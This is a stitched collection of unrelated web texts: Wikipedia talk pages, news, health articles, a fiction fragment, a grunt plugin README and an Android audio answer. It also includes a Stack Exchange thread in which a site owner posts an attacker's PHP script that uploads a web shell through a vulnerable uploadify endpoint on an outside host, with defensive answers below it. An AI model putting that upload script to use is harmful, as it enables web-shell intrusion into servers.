Talk:Joseph Henry Loveless
Comment
It is not accurate to say that he murdered his wife. He was sent to jail, but he had not been tried when he escaped. So, it is merely an assumption.
DOB
Hi if you want to add the specific DOB you need to add a reference. The current cited reference only has the year. Enwebb (talk) 15:15, 6 January 2020 (UTC)
Image
I have nominated this image for speedy deletion as it is not a public domain photograph. Per NBC News "No photos of Loveless have been found, so a composite image was made from photos of his close relatives and physical descriptions in documents for illustrative purposes". This is not a PD photograph, but an original, recent work by the DNA Doe Project. Enwebb (talk) 17:15, 10 January 2020 (UTC)
* Sorry about that -- I over looked that detail and mistook the image as a era authentic tintype. I cheerfully removed the image. BaomoVW (talk) 17:34, 10 January 2020 (UTC)
* , no worries, just wanted to add a note to the talk page. It's a pretty convincing image--I anticipated that it would get continuously re-added to the article otherwise. Enwebb (talk) 18:06, 10 January 2020 (UTC)

Georgia Republican Sen. Johnny Isakson to resign at end of year
Washington (CNN)Georgia Republican Sen. Johnny Isakson announced on Wednesday that he will resign at the end of the year, citing health concerns. Isakson, the chairman of the Senate's Ethics and Veterans' Affairs committees, will leave after decades in elected office, claiming the distinction as the only Georgian ever elected to the state House, state Senate, US House and US Senate. In a statement, Isakson said he had surgery to remove a growth on his kidney this week and was still recovering from a fall in July that fractured four ribs, all while his Parkinson's disease continued to progress. "I am leaving a job I love because my health challenges are taking their toll on me, my family and my staff," said Isakson. "With the mounting health challenges I am facing, I have concluded that I will not be able to do the job over the long term in the manner the citizens of Georgia deserve. It goes against every fiber of my being to leave in the middle of my Senate term, but I know it's the right thing to do on behalf of my state." Senate Majority Leader Mitch McConnell praised Isakson as a "first-rate legislator" and a "man of the highest integrity," while Senate Democratic leader Chuck Schumer called Isakson "one of the kindest, most thoughtful senators." "Independent of any party or politics, everyone will miss Johnny," Schumer said. Republican governor can appoint replacement before special election The new vacancy will reinforce the perception that Georgia is one of the most important battlegrounds in the 2020 election. The state will have two Senate seats on the ballot. Republican Gov. Brian Kemp will appoint a replacement for Isakson until a special election held in November 2020 will determine who will fill the remainder of his term -- the same time Republican Sen. David Perdue is up for reelection. Isakson's seat will be up for a full, six-year term in 2022. Some Democrats also hope to make Georgia, where Donald Trump bested Hillary Clinton by just 5 percentage points in 2016 and the GOP won an even closer governor's race last year -- as well as fellow Sun Belt states Arizona and Texas, which have also moved rapidly leftward in recent years -- competitive in the presidential race. The top Democratic prospect for the Senate race would have been Stacey Abrams, the former state House Democratic leader who became a national star during her narrow loss in last year's governor's race. But Abrams declined to challenge Perdue, opting to launch a group focused on fighting voter suppression, and passed on running for Isakson's seat after his resignation announcement. The Atlanta Journal-Constitution reported that Kemp's potential appointments include Georgia Attorney General Chris Carr, state Senator Butch Miller, Lt. Gov. Geoff Duncan, Rep. Doug Collins and Agriculture Secretary Sonny Perdue. Nick Ayers, vice President Mike Pence's former chief of staff, was another potential candidate for the shortlist, but said he would not be appointed. Ayers played an instrumental role in getting Pence to Georgia to campaign for Kemp in 2018. Ayers was offered, but turned down, the White House chief of staff role because President Donald Trump wouldn't agree to his time limits. Ayers only wanted to stay on the job for a few months because he knew there was a possibility the Senate seat could become open, according to a source familiar with the discussions. "I've enjoyed being involved in every election cycle since 2002 fighting for the policies and the people I believed in. My decision to leave the White House and Washington, D.C. earlier this year was for the sole purpose of stepping back from politics and enjoying this season of life with my wife and three young children. They are the priority now and for the many years to come. Governor Kemp has a number of great options to choose from who will represent our state with success and distinction -- but I won't be one of them," Ayers said in a statement. CNN's Adam Levy contributed to this report.

Can Stem Cell Therapy Treat Crohn's Disease?
Medically Reviewed by Minesh Khatri, MD on June 20, 2024
5 min read
Stem cells are filled with possibility. These “building block” cells divide to make other types of cells, including blood, brain, and heart cells. When coaxed the right way in a lab, they can divide into specific cells to fix or replace ones that disease has damaged.
Doctors already use stem cell therapy – also called bone marrow transplants – to treat blood cancers like leukemia and lymphoma. Now they're studying stem cells as a possible treatment for autoimmune conditions like Crohn's disease.
Crohn's disease is a type of inflammatory bowel disease (IBD). It's an autoimmune disease, which means your immune system turns against your own body. In Crohn's disease, your immune system attacks your intestines, causing swelling and symptoms like belly pain and diarrhea.
Current Crohn's disease treatments like steroids and biologic drugs suppress your immune system to bring down inflammation in your GI tract, but they don't always work.
About 1 in 4 people with Crohn's disease don't get better with medication. Another 50% stop responding to medicines that once worked for them.
If medicine doesn't help you, surgery to remove the damaged part of your intestine might be the only way to relieve your symptoms.
Doctors have been looking for new ways to stop the immune system attack and help the intestines heal. Stem cells are a promising option because they divide to form new, healthy cells.
Stem cells might work against Crohn's disease for a couple of reasons. Some stem cells release chemicals that ease inflammation and repair the lining of the intestine that Crohn's disease damages. Others "reset" the immune system by making new, healthy white blood cells that won't attack the intestines the way your old cells do.
Crohn’s disease studies have used two types of stem cells:
• Hematopoietic stem cells (HSCs) divide into all types of blood cells, including the white blood cells of the immune system.
• Mesenchymal stem cells (MSCs) divide into many types of cells, including bone, fat, connective tissue, and blood vessels.
The cells used to treat Crohn's disease can come from either your own body or from an adult donor.
Stem cells can be delivered in a couple of ways. A shot sends these cells straight to the area where they're needed. A stem cell transplant wipes out your faulty immune cells and replaces them with healthy stem cells.
Before a stem cell transplant, you'll have chemotherapy to kill off the damaged stem cells in your bone marrow. Afterward, you'll get an IV of healthy stem cells.
Those healthy cells will travel to your bone marrow and make new stem cells. The hope is that the healthy stem cells will reset your immune system and stop it from attacking your intestines.
That's hard to say. Most stem cell treatments for Crohn's disease are still experimental. This therapy hasn't been studied in enough people to prove that it works, but there’s reason to be hopeful.
In studies done so far, stem cell therapy eased inflammation, helped the intestines heal, and improved quality of life in people with Crohn's disease.
One review looked at 18 studies that included 360 people with Crohn's disease. People who received stem cell therapy had less active disease than those who didn't get this treatment. Over 70% of people who got stem cell therapy were in remission – meaning they had no signs of the disease – 3 months later. More than half were still in remission 1 to 2 years after their treatment. Some people said their quality of life improved after the stem cell treatment.
In the studies, HSCs worked better against Crohn's disease than MSCs. Stem cells that were taken from a person's own body helped more than cells from a donor.
The evidence is stronger about the benefits of stem cell therapy for Crohn's disease complications.
About 20% of people with Crohn's disease get an abnormal tunnel between their intestines and their anus, called a perianal fistula. This can be very painful. It causes some people to lose control of their bowel movements.
Very few treatments help with perianal fistulas. Up to 90% of people who have this complication need surgery to fix it.
Stem cell therapy could offer a less invasive way to treat perianal fistulas. A few studies have shown that stem cells taken from fat tissue help close and heal fistulas.
Darvadstrocel (Alofisel) is a stem cell treatment that has been fast-tracked by the FDA. Alofisel treats adults with complex perianal fistulas that haven't improved with other treatments. The FDA considers Alofisel a regenerative medicine advanced therapy (RMAT). This means it may help, but it may not be available at every medical center or covered by insurance.
You get this treatment as an outpatient procedure, which means you go home on the same day. The doctor injects stem cells taken from the fat tissue of a donor into the fistula.
Researchers are also studying stem cell injections as a treatment for strictures – narrowed areas of the intestines that affect some people with Crohn's disease. So far, trials have only tested this treatment on a few people.
The most common side effects from Alofisel are swollen pockets of pus, called abscesses, and pain in the rectum.
A stem cell transplant comes with some risks. Some side effects are mild, like a headache and fever. Others are more serious. The chemo you get to kill your own stem cells wipes out your immune system, which leaves you more likely to get infections.
Your body might recognize the new cells as foreign and attack them. This is called graft-versus-host disease, and it can be life-threatening.
A stem cell transplant may not be worth the risks unless your Crohn's disease is very severe.
Stem cell therapy may be a breakthrough in the treatment of Crohn's disease, but it still has a long way to go before it can become an approved treatment. We need more high-quality studies with larger numbers of people to prove that it works and it's safe.
Doctors still have a few things to learn about stem cell therapy for Crohn's disease, including:
• Which type of stem cells work best
• How many cells to use
• How to deliver the stem cells
• How often to give this treatment
Because stem cell transplants for Crohn's disease are still experimental, the only place to get this treatment is in a clinical trial. If you're interested in joining one of these studies, ask the doctor who treats your Crohn's disease if a clinical trial might be right for you.

thought that he had blundered so blindly into a trap so self-evident.
The intruder was a man larger in every way than was the Irishman himself; and with the odds of the revolver in his. favor, he had O'Rourke entirely at his mercy. He was prompt to press the muzzle of it, a ring of frozen steel, against the Irishman's forehead.
"Monsieur is armed?" he inquired brusquely.
"No," returned O'Rourke sullenly.
"Monsieur will not be angry with me for assuring myself of that fact, I am positive. Will monsieur be kind enough to remove his hands from his pockets, unbutton his overcoat and then hold his hands above his head?"
O'Rourke had no choice. He did precisely as he was bid, unwillingly but with alacrity. Still holding the gun to his head, the man patted each of the Irishman's pockets, with painstaking thoroughness, and found nothing in the shape of a weapon to reward his search.
"That is very good," he announced. "Monsieur will now be kind enough to rebutton his coat and to sit very still for the rest of the journey. The coachman will presently remove the light, but monsieur will be so good as to believe- that I can see in the dark, and that any rash move on his. part will be rewarded with a bullet through his head. François"—this to the driver—"go ahead."
The light was replaced, and in a moment or two the horses were hammering steadily up the mountain road. O'Rourke obeyed orders agreeably enough, debating ways and means whereby he might surprise and overcome his captor. The thing was, possibly, feasible. In the long patches of darkness between the lights, he might spring unexpectedly, dash aside the revolver and throttle the man. On the other hand,

The #1 Best Protein for Weightloss
Your weight can play a big difference in your fertility outcomes!
Yes being overweight or underweight can play a significant role in your ability to get and stay pregnant but it can be tricking maintaining a healthy weight... especially if you have other metabolic disorders like Thyroid or PCOS.
When it comes to weight loss, the role of protein is undeniable.
While many turn to animal-based proteins, there's a plant-based hero that often goes unnoticed: beans.
Numerous studies and research have highlighted the benefits of beans for weight loss.
Let's delve deeper into why beans are the ultimate protein for those aiming to shed pounds.
1. High in Protein, Low in Fat
Beans are an excellent source of plant-based protein. For instance, a cup of cooked black beans contains around 15 grams of protein1. Unlike many animal-based protein sources, beans are low in saturated fats, which are linked to heart diseases2. This makes beans not only weight loss-friendly but also heart-healthy.
2. Rich in Fiber
Beans are fiber powerhouses. Dietary fiber is known to promote feelings of fullness, which can reduce overall calorie intake3. Moreover, a high-fiber diet has been associated with a lower risk of developing various conditions, including heart disease, diabetes, and constipation.
3. Low Glycemic Index
The glycemic index (GI) measures how quickly foods raise blood sugar levels. Beans have a low GI, ensuring a slow release of glucose into the bloodstream5. This prevents sudden spikes and crashes in blood sugar, which can lead to overeating.
4. Packed with Nutrients
Beans are nutrient-dense, offering essential nutrients like iron, magnesium, potassium, and B vitamins. These nutrients play crucial roles in energy production, oxygen transport, and neurotransmitter synthesis.
5. Versatility in the Kitchen
The culinary versatility of beans is unmatched. From black beans and lentils to chickpeas and navy beans, there's a variety to suit every palate. Their adaptability ensures a diverse diet, which is essential for obtaining all necessary nutrients.
6. Cost-Effective
In a study comparing the cost of various protein sources, beans emerged as one of the most budget-friendly options7. This makes them an excellent choice for those seeking both health and economic benefits.
7. Environmentally Friendly
A shift towards plant-based diets, including beans, can significantly reduce greenhouse gas emissions and land use8. By choosing beans, you're making an environmentally conscious decision.
8. Promotes Satiety
The combination of protein and fiber in beans has been shown to increase feelings of fullness, which can be beneficial for weight management.
Conclusion
Beans are more than just a staple food; they're a weight loss and health powerhouse. With a plethora of scientific evidence backing their benefits, it's time to make beans a regular part of our diets.

How real-world evidence complements clinical research
In the world of scientific exploration, researchers work very hard to control as many variables as possible to ensure that what they’re studying is not impacted by extraneous variables that might taint the results.
In the “real world,” though, those variables aren’t controlled and the insights gleaned can be very different from those attained through controlled studies. Researchers, clinicians, and patients are beginning to recognize and value the different results or insights that they may attain through real-world evidence (RWE).
Data vs. Evidence
There’s an important distinction to be made between data and evidence. Data represents the numbers and statistics that are gathered through electronic medical records, patient records, wearable/electronic devices, and so on. Evidence is what is generated through actual use cases — what are the impacts when real people use drugs in real-world settings and situations?
Between the two extremes of carefully controlled research and lived patient experience lies the hybrid of real-world evidence, which can provide a higher level of reliability and validity. This requires gathering, synthesizing and analyzing data from a wide range of sources.
The Inherent Limitations of Clinical Trials
Brad Rodu, professor of medicine at the University of Louisville has conducted and published research in both areas. Clinical trials, says Rodu, “are powerful tools using sophisticated scientific methods to precisely determine the effectiveness of treatments for specific diseases.” They are, though, “ill-suited to the measurement of behavior and/or consumers’ preferences.” For such measurement, he says, RWE, which may consist of surveys and post-market surveillance, is a better tool.
David Handelsman, vice president for the non-profit Project Data Sphere, a digital library-laboratory platform, says that clinical trials are beneficial because they allow for the collection of high-quality, targeted information in response to some hypotheses posted as part of a clinical trial protocol. The result is an idealized sample of a “true patient population.” But, he adds, “real patients exist in the real world, and have real and complex health care needs.
“RWE and/or case studies can serve to exemplify behaviors that are typical problems in the area of patient/client/customer satisfaction. They often mimic large studies without the extended time and large financial investment required, and so serve to launch a cost-cutting or service-oriented change project,” says Candy Campbell, CNP, assistant professor, MSN-CNL Maternity Lead at the University of San Francisco School of Nursing. In contrast, clinical research is time-consuming — and expensive, requiring a team of experts to gather and review data, obtain permissions, and analyze data and, in the case of experimental research, years of review.
If your house is on fire, says Campbell, “you don’t need a research study to justify your call for help!”
Applications of Real-World Evidence
Using RWE provides a more agile research process, meaning patients may have access to promising drugs sooner than in the past. “The traditional process used to study new drugs before they go to market, the classic ‘interventional trial’, is quite rigid and relies on systems and processes that are remarkably disjointed from the flow of routine clinical care,” says Chris Kish, the VP of data strategy for Patient iP, a clinical research firm that uses RWE to inform its recruiting strategies for clinical trials.
There is a wide degree of variability among patients, Handelsman notes. That means, he says, that they “may have confounding health conditions, may be using additional treatments and the data collected from them may vary considerably in quality.” Real-world data, while much more difficult to analyze because of its variability and lack of standardization and structure, “can provide the necessary information to understand how patients respond in the real world,” he says. “This provides a unique opportunity to compare the effectiveness of treatments that compete in the marketplace, something rarely addressed in clinical trials.”
Today, with so many ways to collect and share reliable data, new opportunities are emerging. Electronic medical records, for instance, now provide a way to capture data from a much broader range of subjects than in the past, even if data extraction still is problematic. Even still, what has proven effective is to collect thepublished and presented results of real world research; not only the EMRs, but the cohort studies, retrospective and prospective studies, research from global registries, investigator initiated research, etc – and analyze those records to get a complete picture of what is occurring in the real world.
Additional Benefits of Real-World Evidence
In addition to providing insight into how the effects of medications are experienced by people in uncontrolled settings, RWE allows for much broader research. Clinical studies are inherently small in order to control for as many variables as possible and ensure the reliability of the data gathered. In RWE the controls are removed, and a much wider net can be cast to capture information.
RWE also allows for better understanding of rare diseases where few patients are available for clinical trials. “To truly understand the effectiveness of treatments for rare diseases, the larger amount of patients — and data — available provides unique opportunities to study outcomes in different patient subgroups, and over a longer term,” says Handelsman. In addition, he says, rarely occurring adverse events, or side effects, also can be best studied through RWE. “With larger pools of patient data, either by aggregating patient-level data from multiple manufacturers, or by collecting real-world data, it should be possible to develop new diagnostic tools and treatment protocols that help to minimize the risk of these toxicities that may exist,” says Handelsman.
While there will certainly always be a place for scientific clinical research, scientists, clinicians, payers and even the FDA, are increasingly recognizing the value that RWE holds for understanding the impact of pharmaceuticals among various populations.

* Perhaps... but the evidence of this assertion is? Looking at that book's editor, I find a published author who appears to be an historian with an interest in geneological publications and who, among other things, has multiple publications about New Jersey and its history. Of course, if someone wishes to feel that this historian/editor is offering unvetted or false information, such feeling does not discount the coverage of Charles William Floyd Coffin found widely in reliable media sources. Schmidt, MICHAEL Q. 04:31, 21 October 2011 (UTC)
* Have you heard "do not judge a book by its cover"? The same can be said of judging by title. I see no evidence that this book is unreliable or was a "pay to play" publication. The editor was a Princeton University professor of history, who succeeded Woodrow Wilson to that position. --Richard Arthur Norton (1958- ) (talk) 22:35, 23 October 2011 (UTC)
* Weak Keep We look to GNG to see if WP:N is met, as the GNG determines if SIGCOV suports notability. If a topic were to fail SIGCOV, we'd then look to see if one of the SNGs might be used to determine a verifiable notability in the absence of SIGCOV. As parts of WP:N, SNG and GNG work in concert and are not mutually exclusive, and one does not "trump" the other. But as we do have a meeting of SIGCOV, we do not need to decide if an SNG is failed in default. In any proper article contaning details of a person's life, such information is required for depth and in context to that life. He was more than just "a" Mayor. He was also chairman of the board of Franklin Balmar of Baltimore, Maryland. And despite editors (including myself) initialy feeling "so what?", what we have through the GNG is THE major east coast newspaper deciding that aspects of his life were worthy of discussion and commentary... and not "just" in obits, as he had ongoing coverage over many years, and for many different things. And so while any one item night not itself jump up as being earth-shattering, we look at a person's entire life, see how and why it has been coverered in reliable sources, and read the instructions of the GNG to see if a lifetime of achivements has been found in enough reliable sources and over a long reliable sources to be "worthy enough of notice" in news and book sources. Seperating ourselves from a wish to have articles only on film stars and athlete who proclivities splash across headlines, we can consider that Prominent Families of New Jersey decided that he was notable enough to include in great deatail, and decide if his being considered notable to the 8 million of New Jesey for his contributions to that state and its's history, is good enough for a small article on Wikipedia. Rather than toss a small decent article because he is not "the most notable"... we need look to depth of coverage to determine that he is perhaps "just notable enough". I live in a small town in California, but still somewhat bigger than Englewood, New Jersey. And if there were an article about any of my town's past Mayors, I'd be disposed to say non-notable as a mater of course. But if that mayor had years of coverage in multiple reliable sources and multiple books, I'd have to re-think my automatic reaction, and consider that he might be "just" notable enough. Schmidt, MICHAEL Q. 01:50, 21 October 2011 (UTC)
* Keep – this is not even slightly controversial. Occuli (talk) 18:24, 22 October 2011 (UTC)
* Keep The reliable and verifiable sources about the individual, including a lengthy obituary in The New York Times, are all strong indicators of notability. Alansohn (talk) 23:28, 22 October 2011 (UTC)
* Keep We have always accepted an editorial NY Times obituary as definitive evidence of notability, at least for 20th and 21st century. I can't recall in the last 4 or 5 years that we have ever deleted an article with such an obit. And its reasonable that we should: their selectivity is a better judge of notability than we can do ourselves. DGG ( talk ) 12:58, 25 October 2011 (UTC)

I was entrusted with an existed website for which I should do some changes on the design part, but when I was about to access it, i've seen that it has been compromised. When I was searching for the problem, I found an exploit PHP file containing this code:
$uploadfile="shell.php.jpg";
$ch = curl_init("http://macwallpaper.net/wp-content/themes/echea/js/uploadify/uploadify.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
array('Filedata'=>"@$uploadfile"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";
I can figure out what this script is doing, but I have no idea how the attacker managed to upload it on the server. The only form that the website had was a contact form, and it was only the HTML part without the mail function. Furthermore, I've found 4 more PHP files designed as shells, with a lot of code inside, so I'm not going to post it here.
Are there any ways of deploying such packages without an uploading form, actually without a form at all?
EDIT: The website does have a database , but no other control platform like an administration portal or a client zone (there is no direct access toward the database), it does have a ftp , but i have no other information regarding ssh/scp ,etc .

If your pages make insecure requests from the database, an attacker wouldn't need direct access to it. Similarly, if your pages write to the server filesystem, it's entirely possible that an attacker could abuse those. Examine your server log files for unusual traffic - perhaps large numbers of ftp login attempts, where an attacker is trying to guess a password, or PUT requests against your pages, or anything with a useragent of sqlmap - there are many possibilities.

There are a lot of ways. Judging by the main features of your website, an attacker could have used:
• SQL injection: it is not necessary to have direct access to the database. If you want technical details, this question and its answers explain different ways to obtain a shell from a SQL injection;
• credential theft: the attacker could have stolen or otherwise obtained your FTP credentials. This can happen through bruteforce attacks, but since standard FTP is not encrypted, and the password is transmitted in cleartext, an attacker could also have sniffed the connection (for example, if you were using a public Wi-Fi network), obtained the password and used it to upload these files;
• file inclusion (LFI/RFI): if the website is not designed in a careful way, an attacker could upload any PHP file even without any form,database, or stolen credential. For more information: https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion and https://www.owasp.org/index.php/Testing_for_Remote_File_Inclusion;
• malware in your computer: it is possible for an attacker to infect the computer you use to access the website with malware, which could in turn be used to upload PHP files in the website as if you did it. You should already know that there are several ways to infect your computer with malware, but I'm going to highlight one. Spear phishing;
• countless other ways. I strongly suggest you to take a look at https://www.owasp.org . It contains a lot of information about web application security, including how to perform code reviews, how to test your website for common vulnerabilities and how to eventually defend it from most attacks.

Search for uploadify on https://www.exploit-db.com and you will notice that the JS-Script is part of your theme and vulnerable to Arbitrary File Upload Vulnerability.
You could delete that Script and your theme might still work or better yet use another more secure theme.

Tektites
Tektites
Tektites
A Tektite is a rare natural glass formed when an asteroid strikes the Earth. Tektites can be found at at least five widely separated locations on the Earth. Not everything about how the glass forms is fully understood adding to the charm and mystery of this rare material. And for clarification, a tektite is not a meteorite.
The largest and youngest of the tektite strewnfields is that of Indochina which coveres a vast area from Australia to China. This includes the Islands of the East Pacific and these dark black tektites come in all sizes and shapes. The rocks which are melted and vaporized in the impact travel out to near space where the material cools to glass. As it is falling back to Earth the globs are still plastic. They are shaped by the atmosphere and by their spin into aerodynamic forms. Sphere, rods, dumbbells, patties, teardrops are among some of the shapes the glass receives. In addition to the glass which falls and becomes the splashforms just described is another type which seems to form near the impact site does not travel far. Instead it appears to pool and run on the ground. This tektite glass is layered and much more bubbly than that which falls from the sky. It is called Muong Nong Layered Tektite Glass after the region where it was first identified.
Tektite glass being made of the rock material which was targeted by the asteroid naturally has characteristics of that material. So some differences in color and texture are seen in the various locations where they are found. The other four strewnfields of tektite glass are Texas where the black Bediasites are found, Georgia where the beautiful yellow-green Georgiaites are recovered, the Ivory Coast of Africa where the appropriately named Ivory Coast tektites are found and one small strewnfield in Europe which deserves its own description. In the Czech Republic are two areas where Moldavite tektite glass is found. The locations are Moravia, and Bohemia. The Moravian type are far more famous since they are the wonderful vibrant green. They are often beautifully etched and sculptured when found. Used for hundreds of years in jewelry these are prized still today for their color and form. The Bohemian Moldavites are usually brown in color and much rarer than their Moravian cousins. That scarcity makes them objects sought after by tektite collectors whenever they are available.
Whether they are Philippinites, Billitonites, Javanites, or mainland Indochinites from Thailand, Vietnam, Laos, or China, whether they are from the United States, Africa or Europe, tektites are the unique evidence of what happens sometimes when asteroids hit the Earth. Hundreds of impacts recorded, but only five tektite locations. What allows them to form only once in a great while is one of the important questions yet to be fully answered. Tektites remain mysterious objects formed by cosmic forces.

node package manager
grunt-json-bake
grunt-json-bake Build Status
Baking multiple json files into one
Getting Started
This plugin requires Grunt ~0.4.5
If you haven't used Grunt before, be sure to check out the Getting Started guide, as it explains how to create a Gruntfile as well as install and use Grunt plugins. Once you're familiar with that process, you may install this plugin with this command:
npm install grunt-json-bake --save-dev
Once the plugin has been installed, it may be enabled inside your Gruntfile with this line of JavaScript:
grunt.loadNpmTasks('grunt-json-bake');
The "json_bake" task
Overview
This module allows you to merge multiple JSON files into one. It looks for a certain hooks like so "key": "{{path/to/folder}}". All values are parsed and replaced. If the hook is a path to a JSON file, the hook will be replaced with the JSON file content. If the hook is a path to a another file allowed to be inclued, the hook will be replaced with the file content. If the hook is the path to a folder it will take all the JSON files in this folder and put them into an array.
Includes can be nested. That means any JSON that you include will be recursively parsed a swell. Also folders of JSON files can be nested. When a folder is turned into an array it parses the content of a folder for json files. If it comes upon an folder, this will be turned into an array and recursivly all the content will be travirsed for JSON files/folders.
grunt.initConfig( {
json_bake: {
your_target: {
options: {},
// multiple files in a key value pair
// the key is the destination and
// the value is the root of the parsable
files: {
"dist/final.json": "app/base.json"
}
}
}
} );
Options
options.parsePattern
Type: Regex Default value: /\{\{\s*([\/\.\-\w]*)\s*\}\}/
This Regex is used to parse every value of all key-value-pairs. If the value has a formet like {{path/to/something}} it is resolved and parsed as well. The path is relative to that file and can point to a folder or a file.
options.stripComments
Type: Boolean Default value: false
If this is set to true it will remove every key-value pair that has the key "{{comment}}".
options.indentation
Type: String Default value: "/t"
This defines the amount of indentation of the JSON being generated. Setting this to null will produce a minfied version. To get what NPM uses as a default use two spaces: " ".
options.includeFiles
Type: Object with keys and values. See the default values below.
includeFiles: {
json: { resultType: "json"},
html: { resultType: "string", separator: "" },
csv: { resultType: "string", separator: ";" }
}
The keys of includeFiles define the extensions of the files that can be included with {{filename.ext}}. The resultType can have the values json or string. If the resultType is json, then the file is included as a parsed JSON object. If the resultType is string, then the file content is included as a string. If the file content consists of multiple lines you can define the separator to connect the lines.
options.variables
Type: Object with keys and values. Default value: "{}" (empty object).
This is used to define variables that will be replaced by their corresponding values. The variables can be used anywhere in the json file(s), by wrapping the variable name with "@". The variable definition style can be changed with the next setting.
options.variableRegex
Type: Object with keys and values. Default value: /@(\w+)@/g
This Regex is used to parse all string values in the JSON files to swap them for their counterpart in the options.variable object. By default is would look like "some/@foo@/path".
Usage Examples
Recursive Bake including files and folders
Given the following folder structure:
base.json
includes
| - author.json
\ - books
| - 1.json
| - 2.json
\ - 3.json
This is the base.json:
{
"author": "{{includes/author.json}}",
"books": "{{includes/books}}"
}
With an includes/author.json:
{
"name": "Mathias Paumgarten",
"url": "http://www.mathias-paumgarten.com"
}
and three files in includes/books/* like so:
{
"name": "awesome book",
"released": "2014"
}
This would generate a new json from base.json:
{
"author": {
"name": "Mathias Paumgarten",
"url": "http://www.mathias-paumgarten.com"
},
"books": [
{
"name": "awesome book",
"released": "2014"
},
{ ... },
{ ... }
]
}
"books" will be an array of the content of each of the JSON files in the book folder.
Removing comment lines
Make sure to turn it on in the Gruntfile.js:
grunt.initConfig( {
json_bake: {
options: {
stripComments: true
},
your_target: {
"generated.json": "base.json"
}
}
} );
In your base.json you can now add comments like so:
{
"{{comment}}": "This is a list of people",
"authors": [ "John", "Mike", "Susan" ]
}
This will generate generated.json:
{
"authors": [ "John", "Mike", "Susan" ]
}
Using variables
Define the targets and variables in Gruntfile.js:
grunt.initConfig( {
json_bake: {
production: {
options: {
variables: {
"env" : "production"
}
},
files: {
"production.json": "base.json"
}
},
dev: {
options: {
variables: {
"env" : "dev"
}
},
files: {
"dev.json": "base.json"
}
}
}
} );
In your base.json you can now use the defined variable like so:
{
"credentials": "{{includes/@env@/credentials.json}}",
}
With an includes/production/credentials.json:
{
"username": "admin",
"database": "production_db"
}
and includes/dev/credentials.json:
{
"username": "admin",
"database": "dev_db"
}
Running json_bake:dev will generate dev.json:
{
"credentials": {
"username": "admin",
"database": "dev_db"
}
}
And running json_bake:production will generate production.json:
{
"credentials": {
"username": "admin",
"database": "production_db"
}
}
Contributing
In lieu of a formal style guide, take care to maintain the existing coding style. Add unit tests for any new or changed functionality. Lint and test your code using Grunt.

Android Question
Play a sound from res/raw
I m making an app which is supposed to play a few sounds with the mediaPlayer.
This is the code i use :
String[] name = {"sonar_slow","sonar_medium","sonar_fast"};
String link = "/res/raw/" + name[state-1] + ".mp3";
try {
player.setDataSource(link);
player.prepare();
player.start();
} catch(Exception e) {
e.printStackTrace();
}
I also tried this :
if(state==1){
player.create(this, R.raw.sonar_slow);
}else if(state==2){
player.create(this, R.raw.sonar_medium);
}else if(state==3){
player.create(this, R.raw.sonar_fast);
}
player.start();
But none of the above is working. My app is not crashing but the sound is not playing.
Any ideas ?
Answer
There are two problems.
Problem 1
You cannot reference resources inside your projects /res/raw directory in this fashion. The file "/res/raw/sonar_slow.mp3" in your project directory is not stored in "/res/raw/sonar_slow.mp3" in your apk. Instead of the following:
MediaPlayer mp = MediaPlayer.create(this);
mp.setSource("sonar_slow");
You need to use
MediaPlayer mp = MediaPlayer.create(this, R.raw.sonar_slow);
Problem 2
The following is wrong: it calls a static method that does not modify the player.
player.create(this, R.raw.sonar_slow);
You should instead call
player = MediaPlayer.create(this, R.raw.sonar_slow);
Full solution
Below is a reusable AudioPlayer class that encapsulates MediaPlayer. This is slightly modified from "Android Programming: The Big Nerd Ranch Guide". It makes sure to remember to clean up resources
package com.example.hellomoon;
import android.content.Context;
import android.media.MediaPlayer;
public class AudioPlayer {
private MediaPlayer mMediaPlayer;
public void stop() {
if (mMediaPlayer != null) {
mMediaPlayer.release();
mMediaPlayer = null;
}
}
public void play(Context c, int rid) {
stop();
mMediaPlayer = MediaPlayer.create(c, rid);
mMediaPlayer.setOnCompletionListener(new MediaPlayer.OnCompletionListener() {
@Override
public void onCompletion(MediaPlayer mediaPlayer) {
stop();
}
});
mMediaPlayer.start();
}
}

How to use rollo.py
Finally there is the current python code to control the shutters. It works like this:
• define additional shutters if you need in the main section. E.g. r4=Rollo(4) where 4 is the id of the relais. Note that relais with id 0 and 1 is already in use by the polarity changer.
• run as sudo python rollo.py: i havent set a user permission to use I2C other than root. So this is for I2C/SPI device access.
• The four switches on the piface board have handlers on them. Button 0 is for all shutters up, 1 for all down, 2 for all to half and button 3 to switch all outputs to 0. To stop ongoing actions button 3 might be pressed multiple times (a TODO so to say)
On first use the shutters are not calibrated. On first use each shutter moves up and down once to take the time to open and close the shutter. When this is done, the actual request is served. For all the shutters the same action is performed (up/down/half).
Because every shutter is calibrated individually you can run shutters with different length and close times.
The INA 219 is really a very helpful vehicle for this. I haven't expected this.
It works pretty ok but for making it perfect i guess the current has to act as another switch off criteria, nut just for detecting strange situations. Also it needs to connect to an AMQP exchange to be controlled from outside as well.
Have fun and report your experience or ideas to make it better.

Transclusions
I am continuing on my tutorials. Working on Transclusions, and using this as a guide. When I try to transclude 1 specific paragragh from my user talk page to my sand box, I end up getting everything from the paragraph I want to the bottom of the source page. Can you help me with this? Here is the example I am working with. On my talk page, I want to take the paraghaph 'Welcome to my talkpage' and transclude it into my sandbox. I use the text sting: 'User_talk:Preceding_unsigned_comment#Welcome to my talk page' inside of the double brackets. The problem I run into is that it continues past the 'Welcome to my talk page' paragragh all the way to the end of the source page. It seems that I am missing the code to stop the transclusion at the end of the paragraph that is my target. Any help would be appreciated. -- Preceding unsigned comment add to 00:25, 4 February 2008 (UTC)
* As far as I can tell (from reading Transclusion), you can't transclude only part of a page - it's an all-or-nothing situation. However, someone will correct me if I'm wrong, I'm sure... BencherliteTalk 00:32, 4 February 2008 (UTC)
* Thanks, NYG 3 NE 7. -- Preceding unsigned comment add to 00:44, 4 February 2008 (UTC)
* Found it, in case it comes up again. Any text in the source page that is surrounded by this will not be transcluded. -- Preceding unsigned comment add to 03:37, 4 February 2008 (UTC)
* You can't use a text anchor (the stuff after the # symbol) to control transclusion of a section of text. What you can use are the noinclude and includeonly tags. See Help:Template for more information. TenOfAllTrades(talk) 03:40, 4 February 2008 (UTC)
Forgot my password and I haven't got an email address registered with Wikipedia

Strange question about infobox
Hi there...I actually don't know whether I SHOULD edit this, let alone how, hence my question: NASA has an infobox at the top of the article which says, and I quote: This article contains information regarding a space agency which is either currently in the process of launching, or is scheduled to do so within the next 4 days.
